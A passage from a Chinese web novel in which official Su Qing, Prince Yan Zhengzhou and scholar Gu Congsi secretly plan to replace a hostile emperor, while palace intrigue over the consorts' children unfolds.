都是宠妃,她自然也得了暗示,但并不敢做。 等成功案例出来,又按捺不住,找了青梅竹马的表哥。 那表哥买通新调上来的侍卫,跟皇上宠妃私会。 其实晏铮州并不愿意多讲这些。 但苏清问起,这才答了。 苏清倒是不在意这些,纯粹吃瓜看戏罢了。 皇宫漏成筛子跟她有什么关系。 晏铮州道:“还有八个月。” 苏清点头。 八个月。 到时候是生是死,一切就分明了。 新式船只建好。 或者说蒸汽船建好。 皇上必然卸磨杀驴。 她是一定会死的。 但没有这件事,皇上依旧不会放过她。 种种迹象已经表明,但凡她后退一步,她如今的位置,她功绩,以及广乐府,通民府百姓的日子,都会回到原点。 之前种种迹象,已经说明一切。 既然如此,就别怪她铤而走险。 与其一步步被皇上逼到角落,不如让这个人彻底下台。 说实话,苏清想过造反。 但她又是经历过战争的。 一旦真的打起来,受苦受难的,永远是百姓。 否则占据广乐府一带,不是什么大问题。 在这点上,皇上倒是有些敏锐,对她的针对也不算空穴来风。 可苏清并不忍心真的把百姓拖入战火。 一旦她占据广乐皋青两地。 其他地方百姓则会被她拖累,朝廷必然会逼迫他们跟自己应战。 而这两地百姓,日子也不会太好。 那对她来说。 只有一个选择。 让皇位相对平稳的渡过,彻底把朝廷权力拿在手中。 晏铮州便是最合适的人选。 皇上对他的忌惮,也来源于他这份合适。 以至于如今都不愿意给他任何实权。 想利用晏铮州占据皇位的不止一人。 故意接近他的也不止一个。 但在去年之前,他没想过,苏清也是其中之一。 从那之后便断了联系。 可晏铮州没想到,即使没有自己,她还是要做。 她跟柴总兵打好关系,安排人手去通民府,暗中让人假扮匪贼。 别人或许看不出来,但她压根没打算瞒着自己。 那会还传出来,武器作坊有了新技术。 晏铮州就知道不对劲。 有他没他,苏清都会做。 如果是这样的话,还是有他吧。 想到八个月后的事。 晏铮州道:“会没事的。” 苏清也是这么认为。 但她要在这段时间里,把能做的都给做了。 户部苏清,先是给各地受灾地方据理力争,硬是要给他们拨款拨粮。 还趁机参了几个贪官污吏。 各地报上来的恶行,有一件算一件,她都要主持公道。 像花景明那样给她写来书信的,自不在少数。 苏清能帮的都帮。 一直到永晟七年末。 山阳府沈知府的奏章,让本就不算平静,一直忍耐的皇帝愈发愤怒。 沈知府直言,明年各地乡试,请礼部允准女子参加乡试。 这两年广乐府山阳府,分别有七个,六个女秀才。 她们都在询问,明年的乡试,大家是否可以参加。 沈知府的奏章文辞飞扬,对这件事表示极力赞成。 之前的女秀才,已经让儒生们不满。 现在还要考乡试? 这也太荒唐了。 礼部肯定不准。 皇上也是不愿意的。 他这辈子吃女子的亏,难道吃的还少? 后宫一个母后,前朝一个苏清。 给他带来多少麻烦。 尤其是苏清,就她想做个好官,就她想名垂青史。 一会参这个,一会帮那个。 若不是看在新式船只的面子上,看在海运税收的面子上,早就把她贬下去了。 现在还要招更多女子做官。 实在可笑。 对苏清不满的人,自然也借着这件事冲苏清发难。 什么不准礼法,男女有别。 再把礼部的女子书吏,甚至京城越来越多的女子蹴鞠队都拎出来大骂一通。 苏清以前的那些事无可指摘,各个都是为百姓考虑。 大家没办法多讲。 现在总可以了吧? “无非是借题发挥。”苏清淡定道。 跟在苏清身后的郭高杰等人原本还有点慌张。 现在却觉得,苏大人好像早有准备? 苏清心道,肯定有准备。 山阳府沈知府递来奏章之前,是跟她商议过的。 甚至还表示过担心:“那些人拿不住你的把柄,正着急呢。” “此事一出,不就给了他们攻击你的借口。” 苏清让他不用管,直接递上来就好。 如今矛盾本来就严重,再激化激化也没什么。 大白话便是。 虱子多了不怕痒。 她怕什么啊。 反正已经把皇上得罪完了。 而且她做的事,早就可以诛九族了。 永晟七年腊月中旬。 等着苏清的就三件事。 上班,被官员攻击。 下班,回各路信件。 时不时还要被喊到朝会上,跟人激情互喷。 连梅娘都知道她在京城的处境,心里无比担心。 苏清写信安慰,让她照顾好大家,不会有什么事的。 远在海万州,等着新海船下水的叶山鸣也在问。 苏清再这样下去,只怕会有危险。 皇上可不像个会念及功绩的人。 他要是念旧情,太后,晏铮州等人就不会被这般对待。 自上次千秋宴后,太后跟太后娘家也出来。 但皇上不仅不念旧情,反而愈发不待见太后娘家。 晏铮州更不用讲。 现在的京城,像是查无此人。 苏清这个非亲非故的,一旦没了用处。 下场必然很惨。 叶山鸣信里也说的明白。 无论如何,保住命要紧。 叶家永远有苏清的容身之所。 最后这句像是开玩笑。 但却是他的真心所想。 叶山鸣甚至觉得,一旦皇上真的清算苏清。 那他们大可远离京城。 反正皇上已经管不到江南,只要留条性命,苏清在此地,荣华富贵享之不尽。 苏清还笑:“怎么还帮我安排退休生活了。” 晏铮州脸色难看,倒是并未阻止。 如果事情真的到难以挽回的地步,他也希望苏清另有退路。 去江南也好,出海也行。 只要能活着就好。 “那你呢?”苏清摸摸晏铮州的脸,“你准备怎么办。” 晏铮州没再说话。 苏清知道他不喜欢多讲。 但却做好给她断后的准备。 或者说,决定参与她的计划后,晏铮州就做好赴死的准备。 苏清忽然有点生气,冷笑道:“你以为这样做,我就会高兴?” 叶山鸣在想退路。 苏清晏铮州在小吵怡情。 唯有顾从斯最着急。 从永晟三年到京城后,顾从斯基本都在翰林院渡过。 他文章好,才思敏捷,又是最忠君爱国的儒生。 皇上跟太后争权,他也站在皇上这边。 之后考上状元,再次回到翰林院,跟陶阁老关系不错。 这些年已经是从四品的职位,在礼部也任郎中。 这样的位置,内阁跟勤政殿不少奏章,都经过他手。 即使最近因为苏清的缘故,皇上有意冷落他。 但顾从斯的人脉不能作假。 他明显能感觉到,皇上对苏清越来越不满。 民间各地世族豪强也对她很不满。 更害怕苏清位置越高,对这些世族越不好。 全都趁着女子乡试的事,让自家子弟连连上奏。 他们的意思非常明确。 不能再让苏清做官了。 不能再让这个女子侮辱孔圣人。 都说唯女子与小人难养也。 这话一点也没错。 皇上对此态度极为满意。 跟在皇上身边的宠臣,甚至已经想好时间。 只要等苏清手底下的新式船只造好。 就立刻把苏清下狱流放。 这般侮辱朝廷,一直跟皇上作对的人,真的不能留。 还是那句话。 只要苏清没了。 什么女子做官女子乡试,还有赈济灾民,惩治贪官污吏,统统都不做数了。 他们这些人本就是螳臂当车。 苏清没了。 大家也就散了。 对皇上来说。 苏清没了。 那反对他的人,也就彻底没了。 作为顺昌国的皇帝,他不允许任何人分他的权。 腊月十二,翰林院。 顾从斯找机会留在最后,翻看特意避开他的奏章。 一篇篇抨击苏清的文章,看的顾从斯血液发凉。 苏清所做之事,都是于国于民有利的。 尤其是对百姓,皆是守令爱民的体现。 但这些人却想让她死。 这些文章出自满腹经纶的读书人之手。 他们读孔孟之道,读的不是爱民,而是媚上。 是为了自己的利益,为了皇上的看重,不惜一切诋毁苏清。 最近这段时间,顾从斯总是能想到在南江县的事。 接触政务以来。 那段时间才是最轻松的时候。 不是身体上的轻松,而是精神上的。 “所以,你不喜欢科举。”顾从斯终于想明白。 苏清不喜欢单纯的科举,只为功名的科举。 但她又要让女子参加考试,是因为考试本身没错。 是这些人学错了。 或者说,是他学错了。 这么多的抨击,这么多诋毁。 顾从斯从无数奏章里看出一件事。 苏清会死的。 她做的所有事,都会让她死。 或者是皇上赐死。 又或者流放路上被杀。 她触及了太多人的利益。 她也挡了太多人的路。 尤其是新式船只出来。 人人都知道,造出新式船只的人,以及暴利的海运行业,只会听她的话。 只有她死了,大家才能瓜分她的政绩。 甚至瓜分广乐府跟皋青州,还有通民府。 让她死,是无数人的心愿。 顾从斯甚至发现,就算没有这次女子乡试的事,他们依旧会罗织罪名。 反正会在新式船只下水后,彻底杀了苏清。 新式船只所带来的利润太大了。 有人仔细研究过,只要用上新船,每年海运的税收至少在千万以上。 这倒不是海万州那边不能保密。 而是造船并非小工程,周围人来人往,是肯定瞒不住的。 顾从斯甚至认为。 苏清是不是知道这件事,所以在这几个月里,把能做的事都做了。 各地贪官污吏土豪乡绅,她一个也不放过。 难道是? 但又不像。 她不是个一心求死的人。 对清清而言,寻死是件罪大恶极的事。 无论什么处境,都应该挣扎求生。 所以,她有后手? 还是早有准备。 顾从斯想不明白。 她面对的是皇帝。 作为臣子,怎么可能跟皇帝抗衡。 胳膊拗不过大腿。 又或者为这件事而死,她也心甘情愿。 顾从斯想不明白。 他向来是猜不透苏清的。 顾从斯没有过多纠结。 他准备直接去找苏清。 无论如何,他不会看着苏清去死。 真到那一步,他想知道,自己能做点什么。 苏清跟晏铮州听到顾从斯求见,再看看已经是晚上,就知道他肯定知道些什么。 苏清看看晏铮州,暗示他躲躲。 “不躲。”晏铮州直接道。 晏铮州不打算离开。 以顾从斯的聪明,看到自己,大概就明白苏清不是毫无准备。 也能让对方参与到计划中。 苏清沉默,虽然计划里确实没有顾从斯,但拉他入伙,确实能提高成功率。 但苏清眼中怀疑晏铮州不躲另有原因。 两人对视片刻。 顾从斯已经被全经武带了过来。 不进召唤,全经武是不进苏大人院内书房的,让顾大人自己进门。 刚踏入书房,顾从斯盯着根本不可能出现的人,还以为自己看错了。 “晏总兵。” 不对,不是总兵。 是王爷。 铮王爷怎么会在这。 再看晏铮州穿的寻常,桌上还有他的杯子,说明这不是头一次来苏清书房。 他来的,甚至比自己这个前未婚夫还要勤。 顾从斯抿唇,几乎不敢置信地盯着苏清:“他为何常在。” 苏清轻咳,反问道:“这么晚了,发生什么事了。” 这句话让顾从斯冷静下来,从袖子里抽出一封奏章。 这份奏章的文采非常。 正是参苏清的。 里面总结了她各种“劣迹”,还隐晦说明了新式船只带来的利润。 苏清看了一遍,不怒反笑:“总结能力不错。” “还看出我必死的原因。” 海运的利润太大了。 只有她死了,大家才能分吃她的尸体。 顾从斯晏铮州对她的态度都极为不满。 这些人想让她死,她怎么能这样淡定。 苏清只好端正态度:“骂都骂了,我能怎么办。” 苏清甚至道:“你不会现在才发现,皇上想要我的命吧?” 这是对顾从斯说的。 之前他确实抱有幻想。 觉得皇上不至如此。 但今日看了那些奏章,他彻底明白过来。 皇上不会放过苏清的。 不过他没想到,深夜来找苏清。 还能看到铮王爷。 等会。 苏清跟铮王爷? 难道是想扶王爷上位? 顾从斯并不赞同,生怕苏清引虎入室。 原来晏铮州一直不争不抢都是假的。 他要利用苏清,登上皇位? 再看对方身材相貌。 又想到苏清向来喜欢或英俊或美貌的男子,顾从斯眉头皱得更紧了。 苏清还不知道他想到什么,开口道:“皇上想我死,我却不想的。” “总要另找个出路才是。” “出路就是他?”顾从斯质问道。 晏铮州反而道:“不要凭空污蔑。” 不过他并未太过生气。 现在这种时候,苏清身边人越多越好。 他暂时不介意。 不等顾从斯再说,苏清反问道:“你觉得出路在哪。” 还是那句话。 苏清的计划里,可没有任何人。 晏铮州可以代替。 顾从斯也是。 但若顾从斯参与,她也不会拒绝。 苏清想知道。 他会做到什么地步。 不是为自己。 是为百姓。 晏铮州扮做大泽军,向她证明,他可以起兵。 那顾从斯呢。 这条船,也不是那么容易上的。 她要听听,顾从斯打算怎么做。 第87章 苏清的出路在哪里。 这个问题,顾从斯不是头一次思考。 最开始做主事时,他认为等局势平稳,自己考上举人进士,两人成亲,相夫教子。 这是一条路。 之后自己去京城会试,苏清当上知府。 顾从斯也知道,局势一时半会不会平稳。 两人或许不着急成亲,只要婚约在,一切都好说。 两人没了婚约。 苏清的官途越发顺畅,也证明她就是适合做官,比自己还适合。 当时的顾从斯认为,成不成亲都不重要,两人在官场上互相帮助,也是极好的。 两人事业稳定,坐稳位置,同样是一条路。 但稳定二字,似乎跟苏清毫无关系。 她也不会蒙住双眼,当做身边事什么也没发生。 一步步的,到了现在。 即使到现在,顾从斯还是想过的。 急流勇退。 回通民府或者广乐府。 舍弃现在所有,说不定能护的家人周全,也能保全自己。 但顾从斯说不出这种话。 苏清凭什么放弃一切。 凭什么放弃如今的位置。 再者,她也不会放弃的。 在这位置一日,她就能为顺昌国百姓争取到利益。 如果她走了。 这不是全身而退,而是懦夫行为。 苏清怎么可能这么做。 既然这样,似乎只有一条路。 是他这个从小读四书五经,读孝经的人,说不出的那句话。 苏清见此,略微有些失望。 她准备让顾从斯离开,就当没有今日这次谈话。 可顾从斯却忽然开口,声音带着沙哑跟艰难。 “换个皇帝。” 换个好掌控的皇帝。 最好的选择。 会是晏铮州吗? 顾从斯忽然想到后宫有孕的三个后妃。 随便挑选一个,扶持他们上位。 再也没有比襁褓婴儿更好控制的了。 到时候文有苏清,武有铮王爷。 对顺昌国来说,堪称祥瑞。 这话对顾从斯来说,极为艰难。 对顾家来说,更是离经叛道。 但他想不出别的方法了。 想不出既能救下苏清,也能让百姓安居乐业的方法。 似乎只有这样了。 等顾从斯把想法说出来。 随后又看了看晏铮州跟苏清。 如果他们真像自己想的那样,那借用铮王爷的身份,也是个办法。 只是大权要在苏清手中。 一旦思路打开。 好像有无数条路放在他脚下。 顾从斯摇摇头,冷脸道:“我支持的,只有你。” 不管换谁做皇帝。 他效忠的只有苏清。 其他人都不行。 这也是在变相警告晏铮州。 若他有二心,自己这个“臣子”,不会站在他那边。 岂料晏铮州竟然颇有些欣赏。 顾从斯彻底冷静下来,心里的想法也越来越坚定。 换一个皇帝。 这才能保住苏清的命。 他非常愿意这么做。 腊月的京城,外面滴水成冰。 书房内三个人的想法,逐渐达成一致。 苏清再次确认:“成功还好。” “要是失败了,我娘跟我弟弟还好,能安排离开。” “你爹娘如今在京城,只怕躲不过。” 顾从斯听此,眼神有些松动,但随后又苦笑:“只怕对他们而言,不管成不成,他们都接受不了。” 所以没什么区别。 这话出口,就已经表明他的态度。 但顾从斯犹觉得不够,铺开纸张,当场写了篇文章。 这文章的内容并不涉及苏清。 只以状元文笔,描述永晟七年顺昌国的情况。 从民不聊生,到土豪乡绅,再到贪官污吏,王公贵族。 最后一段,更是直接点名皇上这些年的劣迹。 论文笔,这篇文章比抨击苏清的奏章要好。 论内容,无比详实,罪证累累。 再看顾从斯一手好字,更为这篇文章增添价值。 只是这文章若拿出去。 顾家九族必然保不住。 顾从斯把文章亲手交给苏清,等于把全家的命也交出去。 苏清再次欣赏一遍。 不愧是顾状元,一气呵成的文章都能这样好。 以苏清的眼力,这文章能进后世的课本了,除了有点长之外,其他都挺好的。 苏清待墨迹干了之后,就把文章收起来,直接道:“后宫三个宠妃的孩子,都不是皇上的。” 顾从斯怀疑自己听错了,再次看向苏清。 苏清重复一遍。 旁边的晏铮州也道:“嗯,不是他的。”??? 你们两个,能不能不要这么淡定的说出如此恐怖的话? 顾从斯瘫坐在椅子上。 想起最近种种。 甚至想起皇上喝的汤药,正出自南江县药谷村。 竟然是这样吗?! 苏清认真道:“他没有生育能力,我们能有什么办法。” 没有生育能力这几个字,对任何一个男人来说都不能忍。 但对皇上来说,却是实情。 那就只好让别人帮帮他。 想让顺昌国少些动荡。 想平稳交接政权,只能这么做。 顾从斯以为,自己做的事就够死一万次的了。 没想到苏清早就把身家性命交上了。 对比起来,她最近做的事,似乎也不算什么。 等顾从斯强行让自己冷静下来,他道:“到明年四月。” “新船下海,嫔妃们生育。” 也就是他们动手的时间。 顾从斯深吸口气,还是无法冷静。 不过看向淡定的苏清,就知道这事必做不可。 他们这些人,都没有回头路了。 顾从斯回到家中,家里冷冷清清。 顾家爹娘见他回来,立刻上前问他吃没吃饭,眼里都是心疼。 他们说起老家的事。 老家闹了饥荒,还还收到顾从斯寄过去的粮食。 顾家爹娘感慨万分。 没想到他们老家日子也不好了。 这么想想,还是广乐府日子好过。 他们又聊起广乐府的情况。 说是新知府去了,本来想动本地的税收。 但压根没有实权,想勾结官员的本地士族,也彻底被收拾了。 现在那知府气的厉害,又不敢明着骂苏清。 只能暗地里憋气。 广乐府跟山阳府两个地方的学子,也在为明年乡试的事情争吵。 到底让不让女秀才参加乡试,吵的格外厉害。 周围其他州府的官吏,只说他们这两个地方吃的太饱。 不就是有点钱嘛,竟然为这种事吵起来。 同样吃得饱的,还有皋青州。 这几年的稳定发展,让皋青州百姓安居乐业。 本地知府不怎么管事,皆是汪鹤,费开宇,文瑞等人在管。 听说不仅卖矿产到广乐府,也在本地养牛羊,日子越过越好。 海万州还是老样子,本地市舶司运转良好。 大家都等着新船下海。 另有花景明所在漳州,祁安平惠容所在的巴竹府。 苏清老家通民府等等。 这些地方,日子都不算太差。 但所有人都在问,以后要怎么办。 也在问苏大人要是不在了,还有人能为民请命吗? 众人的信件雪花般飞来。 苏清一一耐心回复。 让其他人意外的是,一直低调的铮王爷竟然出现了。 他去了趟京郊城外,看了看自己以前的老部下。 自京城兵变后,晏铮州从广乐府带来的十万大军就在此驻扎。 截止到现在,也有两三年时间,一直是连老将军带着。 对于铮王爷的到来,连老将军也是高兴的。 原本只是个小小的举动。 没想到皇上竟然非常不满。 赶在年节前,就放出风声,说连老将军年纪大了,要换个合适的人选。 对此,陶阁老,李尚书等人并不赞成。 尤其是陶阁老:“连老将军是最忠勇之人,除了他之外,没有人更适合拱卫京城。” 只因老将军对铮王爷客气了些,就把他换掉,是不是太草率了。 陶阁老跟李尚书再三请求,连老将军绝无二心。 而且就算把他换下,也不该用这样的理由。 怀疑一个老臣子的忠心,对这个臣子来说太不公平。 但如今的皇上,手底下拥护者不少,自然不理这些请求。 果然连老将军听此大受打击。 说他年纪太大,说正常的职位变动,他都能理解。 唯独怀疑他跟铮王爷的忠心,这点让他彻夜难眠。 苏清暗暗道歉。 但归根到底,也不是她跟晏铮州的错。 只因见了一面,就把总兵换掉,这能怪她吗。 很快,接任的武将人选出现,这人姓吴。 是礼部左侍郎力荐,也就是他的女婿。 这礼部左侍郎,同样是抨击苏清的主力,他儿子是皇上重用的新科进士之一,更是写出《论女子官员过失》的进士之一。 几年之间,皇上提拔的官员,已经能跟老臣子分庭抗礼。 除了这个左侍郎之外,还有刘贵人的父亲工部刘侍郎,全都是皇上心腹。 不管这些官员办事能力如何。 确实能争权,也能谄媚皇上,堪称指哪打哪。 吴总兵接任后,迅速清理连老将军留下的人手,全部换成自己人。 对于这点,京城不少人家颇有微词。 “如果再来一次兵变怎么办。” 各地流寇那么多,也有造反的趋势。 听说还有地方打着大泽军的旗号,也就是反叛军的旗号。 三年前的事再来一次。 大家怎么办啊。 只是如今的皇上,不容别人辩驳,根本不给大家进言的机会。 他就是要大权独揽。 谁说也没用。 陶阁老像是老了许多岁。 过年期间,去周太傅家小聚时,还道:“最近这段时间,怎么不见你进言。” 周太傅曾任皇上跟铮王爷的老师,他只是吃茶,并不接这话。 等户部李尚书跟吏部陈尚书来时,周太傅还是不多说话。 过了不到半个时辰,周太傅就道:“咱们还是赶紧散了吧,让皇上知道,也没咱们这些老东西的好果子吃。” 不是他赶客,而是事实如此。 大家脸色难看。 他们这些老臣子,越来越没话语权。 今日没来的礼部尚书,更是艰难。 他手底下的左侍郎,明显盯着他的位置。 估计年后就要换人了。 当然,最难的,还是户部地下苏清。 对于女子做官,他们虽不言语,却都是有些意见。 可面对朝中如此情况。 女子也比那些只会拍马屁的人强。 可惜了,听说海万州新船进展顺利。 她的好日子也要到头。 周太傅只看了看叹气的户部李尚书,听他讲苏清何等能力。 等众人散了,周太傅内院书房里走出两人。 正是晏铮州跟苏清。 苏清头一回拜见周太傅周大人,认真行礼:“下官苏清,拜见周太傅周大人。” 两人自不是头一回见面,但私下里谈话却是头一次。 还是晏铮州引荐。 让苏清意外的是,周太傅第一句话便是:“我有些好奇。” “之前我劝他反,铮王爷却是不同意的。” “你如何劝得动他。” 周太傅这个问题有两个意思。 一个,确实在问晏铮州如何听劝。 二是,要让苏清给个合适的理由。 苏清自然早就准备好理由,也准备好如何劝说。 凭借她的口才,这并不难。 但看着外面大雪纷飞。 听着方才大臣们讨论时事。 苏清忽然想到一句诗,是姥姥常挂在嘴边的诗。 “遍地哀鸿满城血,无非一念救苍生。” 苏清说的缓慢,却也从这句话里得到力量。 她也好,晏铮州也好。 甚至顾从斯,还有顺昌国许许多多官吏百姓。 乃至柴总兵。 都是看不得百姓哀苦,这才同她走向这条路。 千言万语。 也不及这句话的力量。 进士出身,饱读诗书的周太傅抬起眼皮,紧紧盯着苏清。 纵然苏清说明,这不是她写的,但能说出这句话,就证明她对这话的认同。 再看苏清的经历,她也确实想救苍生。 本来就支持晏铮州造反的周太傅。 此刻也认同了苏清。 “不要忘了你这句话。” “是为苍生。” 是为黎民百姓。 苏清没忘。 今日想起这句话,反而让她更加坚定。 这一晚,苏清梦到姥姥。 姥姥经历过战乱,也过过好日子。 中间的艰难险阻自不必说。 她作为姥姥养大的孩子,绝对不会背叛姥姥。 永晟八年。 京城的年节热闹非常。 一些地方变着花样送年礼。 还有一些地步坚持要说真实情况,让皇上心烦。 就在吵吵嚷嚷中。 参奏苏清的奏章越来越多。 只要想挑一个人的毛病,自然有千奇百怪的角度。 看到最后,苏清都当猎奇文去读。 开年后,讨论最热闹的,还是今年广乐府山阳府两地的乡试。 “广乐府女秀才多为苏清党羽,她自然支持。” “山阳府其中一女秀才为沈知府的女儿,更是去年童试案首。” “两人极力推女子乡试,实在私心过甚!” 说白了。 一个是为了自己党员越来越多。 另一个只为自己唯一的女儿,也是有私心。 “别说女子乡试了,便是今年两地童试,都应该停办了。” 此话一出,两地百姓自然不高兴。 截止到今年,广乐府已经举行第三年女子童试,下面十几个县全都开设女子读书,女子考试。 但凡有余力有天赋的家里,全都竭尽全力供养。 说不让考试就不考试? 那他们前期的努力岂不是大水漂。 山阳府也是第二年了,不少人家同样不满。 第一年举办女子童试的皋青州直接置之不理。 管你说这说那的,我们就是要办。 山高皇帝远的的地方果然任性。 他们的态度一个比一个恶劣。 对皇上来说如何能忍。 对地方上没办法,近在咫尺的苏清还是有办法的。 正月二十五。 本来在官署的苏清被传唤至朝会。 皇上死死盯着苏清。 见她还是一脸不在乎,心中火气更盛。 他从未见过如此狂妄的女人。 好像自己永远正确,他这个当皇帝的只有错误。 这江山,这顺昌国是朕的。 朕要怎么管,你一个小小女子,凭什么插手。 要不是你,朕早就让朝野信服,早就让朝廷安定了。 让你做官,本就开恩。 现在竟然要骑在朕的头上。 这样的女人果然留不得。 早知道在一开始,就不该让她做知府。 想到这,皇上又恨上晏铮州。 没记错的话,也是他举荐的。 苏清一来,在礼部左侍郎的带头下群而攻之。 苏清不紧不慢回答,根本不为所动,也不让别人帮忙。 见招拆招,怕什么。 晏铮州顾从斯两人极为沉默。 可苏清并不让他们说话。 还不是时候。 而且他们也吵不过自己。 倒是把朝中不少支持苏清的人气了出来。 他们本来只是心里支持苏大人,此刻见她被那么多人围攻,肯定要站出来。 甚至还有个知名美男子,苏清看他的时候,晏铮州顾从斯下意识皱眉。 明显知道,这是苏清喜欢的类型。 这样“热闹”的朝会,一直持续到三月份。 永晟八年三月下旬,顺昌国发生两件大事。 海万州的新船正式下水,准备试航。 京城后宫刘贵人临盆在即。 随后沁贵人也是如此。 原本因为心虚相安无事的两方,开始变得剑拔弩张。 不少人都说,谁先生下皇子,谁就能成为贵妃。 让刘家意外的是。 明明沁贵人没有后台,可她身边守卫坚若磐石,简直水泼不进。 无论吃喝用度,全都送不进去。 只能眼睁睁看着她要生下孩子。 倒是宫里另一个有孕的宠妃一时大意。 原本想害刘贵人跟沁贵人,反被刘家先下手为强,如今还躺在床上,听说孩子大概率保不住。 对此皇上虽不高兴,却也没罚刘贵人,只让她将养好身子,早日诞下子嗣。 这般纵容下,对刘家来说,只要除掉沁贵人,他家位置就稳了。 柳沁自然着急。 可她却发现,跟她私通的侍卫,不知什么时候被安排到她附近巡视。 那侍卫甚至成了此处领队,负责这一带安全。 不仅如此,齐内官还带来苏大人信件,看过之后立刻烧了。 信里内容也让她安心。 外面有苏大人,她只要吃好睡好即可。 柳沁也知道,自己不能给苏大人添乱。 外面的事情太多了。 皇上对大人的态度越来越差。 只等着新船下水。 有些事情就要有结果了。 此时的海万州,也在为新船下水的事着急。 石老爷看着海边的大船,每次都觉得自己是不是在做梦。 他做航运不是一两年。 临靠港口,家里几代人,都是做这买卖的。 但这样的船,还是头一回见。 苏大人留下武器作坊,留下蒸汽机。 本来以为只是炼出刚好的钢铁。 没想到那不是最重要的。 蒸汽机才是她想留下的。 这东西在作坊里可以炼铁。 放到船上,直接改变船只动力。 原本用人力,现在用火力。 只是想想,就知道是什么样的速度,就知道能造多大的船了。 这样的船,又会带来什么样的利润。 美中不足的,则是他身边的叶山鸣。 叶山鸣愈发暴躁。 他竟然在阻挠造船进度。 要不是苏大人写信过来,叶山鸣肯定还要动手脚。 还是武器作坊的云喜绿兰两人连番劝阻,又拿了苏大人的信。 他肯定还要拦着的。 石老爷知道原因。 等新船造好,会有无数人朝苏大人发难。 他们在海万州就能感觉到风雨欲来。 何况苏大人本身,可那些事跟他们真没多大关系。 反而是船造好了,有利于他们这些商船啊。 真不知道叶山鸣在生气什么。 叶山鸣阴沉着脸。 他也不知道自己在气什么。 但他看着海面,对石老爷道:“如果她真的出事了。” “你觉得顺昌国会怎么样。” 石老爷没说话。 叶山鸣继续道:“你忘了海万州被叛军入侵的事了吗。” 他怎么会忘。 那会大家都要吓死了。 至今还有人搬到广乐府,怎么劝都不回来。 其实这段时间,已经有新的海盗占据附近小岛,不过声势不大。 没办法,一本万利的买卖,总是野火烧不尽的。 叶山鸣又道:“他们再形成新的势力,还会有铮王爷苏大人过来吗。” 他们海万州运气好,有人帮忙除贼。 其他海港可没那么好运气。 不仅要受各地市舶司的气,还要受附近海岛的打劫。 叶山鸣话止于此。 石老爷脸色也开始凝重。 如今海万州的平静是苏大人带来的。 她要是没了。 海万州不出五年,必乱。 不仅海万州。 她所管辖的所有地方,都会乱的。 这样的日子,真是他想要的吗? 他是好日子过多了。 忘记叛军入城的事了吧。 “要不,推迟新船下海?”石老爷试探道。 但这次换做叶山鸣不准,他咬牙道:“听苏清的,越早下水越好。” 她在信里说,她已经准备好了。 让自己不要坏她好事。 到底准备了什么。 自己又能做什么。 叶山鸣最后的回信是。 他可以送上叶家所有产业,只要她能活着,这些都是她的。 只要苏清活着就行。 四月初六。 正是天气晴朗的日子。 宫里刘贵人临盆,诞下一位皇子。 同时传来另一个消息。 刘贵人私通。 证据确凿。 第88章 “听说了吗,皇上终于有孩子了。” “那你听说了吗,这孩子不是他的。” 茶馆内几人嘿嘿一笑。 说别的,大家或许没兴趣。 但谈论八卦,那可太有了。 尤其是皇家的秘闻。 不过这事也算不得秘闻了。 京城人尽皆知。 刘贵人的孩子,不是皇上亲生的! 好像是刘贵人哥哥的同窗,永晟六年的进士,听说排名还挺靠前,长得也不错。 “皇上一直没有子嗣,不仅他着急,嫔妃们也着急啊。” 只要有孩子,就立刻与众不同。 刘贵人跟刘家,难免动心思。 怎么发现的? 还不是刘贵人害了钟贵人。 害的人家卧病不起,孩子也没了。 钟贵人气的厉害,为孩子伤心不已,干脆一起去死。 此刻的皇宫。 凌晨时分,太后皇上还在为刘贵人生下龙儿高兴。 马上三十六岁的皇上,终于生下头一个孩子。 放到古代,肯定算晚的了。 而是头一胎就是皇子,太后跟皇上两人甚至摒弃前嫌,就差握手言和。 皇上还抱着孩子,要亲自起名字,激动之下,甚至吃了颗益气养神丸平缓心情。 刘贵人这里有多热闹。 沁贵人那边就有多冷清,但她听苏大人的话,并不搭理这些事,安安心心睡觉,安安心心养胎。 柳沁能忍住。 被害得胎儿流产的钟贵人,则根本坐不住。 她想到自己已经六七个月的孩子,就忍不住发疯。 再听刘贵人的喜讯,钟贵人被刺激的真疯了。 不顾钟家人阻拦,硬是要把真相说出去。 钟家拦了又拦,直接道:“不是不让你说,而是没有证据。” 大家都做了这样的事。 没道理只能他们吃亏。 可没有证据的事,又不能拿出来。 让他们意外的是。 证据还真的出现了。 钟家其他人还要商量。 但跟钟贵人私通的表哥忍不了。 害他的孩子,他一定要让对方付出代价。 就在刘家众人兴奋之时。 刘贵人跟私通进士的信件被拿了出来。 那人能考上进士,诗句也是张口就来。 刘贵人诗书传家,也有一番文采。 两人本就年龄相当,长得也是郎才女貌。 几番私会后,难免有些情愫,就靠写诗一诉衷肠。 看着上面情意绵绵的诗句。 皇上只恨自己能看得懂字,更恨他记得这两人的字迹。 连着吃了好几颗药,才勉强能坐稳。 好一个鸾凤。 还有个鸳鸯成双。 以及后面喜得麟儿喜眉梢。 气的皇上脸都绿了。 本来心中就有疑虑。 如今证据确凿,让他气得猛咳不止。 他就知道。 他就知道! 所有人都在刷他! 再看着那个孩子,皇上心里升起杀意。 刘家人见此,就知道再不辩解就要完了,一个劲的求情。 情诗无法辩驳,就说这是刘贵人进宫前。 反正两人最近毫无瓜葛。 至于什么麟儿,完全是进士单方面深爱刘贵人,为她高兴而已。 这种杀头的死罪,他们怎么可能承认。 皇上被气的脑仁疼。 太后也被气的病倒。 再知道此事已经满城皆知,心里更加恼怒。 刘家反而趁此机会,想让皇上为了面子,也要暂时忍下。 毕竟这个时候处置刘贵人。 那岂不是告诉天下人,他被戴了绿帽子? 皇上爱面子这件事。 可不止苏清一个人知道。 现在的苏清,正在户部官署跟同僚一起吃瓜。 不怪大家吃瓜吃的高兴。 谁让这事反转太多啊。 当然,也有人开始怀疑沁贵人的孩子是不是也有问题。 但沁贵人在京城,可以说人生地不熟。 谁会帮她筹谋这些。 刘贵人有刘家。 钟贵人有钟家。 而她不过是被买来的,家人都在通民府。 从这点来看。 倒是一点问题也没有。 “皇上已经在查了。”有个官员道,“暂时没什么情况。” “现在可以确定的是,刘贵人的孩子肯定有问题,就看会不会为了皇家声誉隐瞒下来。” “钟贵人孩子已经没了,查无可查。” “只剩沁贵人这颗独苗了。” 有人意味深长道:“皇上也愿意相信,仅存的孩子是他的。” 苏清听的津津有味。 大家的猜测还是很正确的。 不管刘贵人这孩子到底是谁的。 闹到现在的这种情况,多数人都会疑罪从无。 钟贵人不用讲。 他家敢拿出证据,就是把尾巴弄干净了。 只剩下无权无势的沁贵人。 她是怎么被买到京城的,皇上最清楚。 她背后有没有人,皇上的也清楚。 甚至觉得,柳沁没必要这么做。 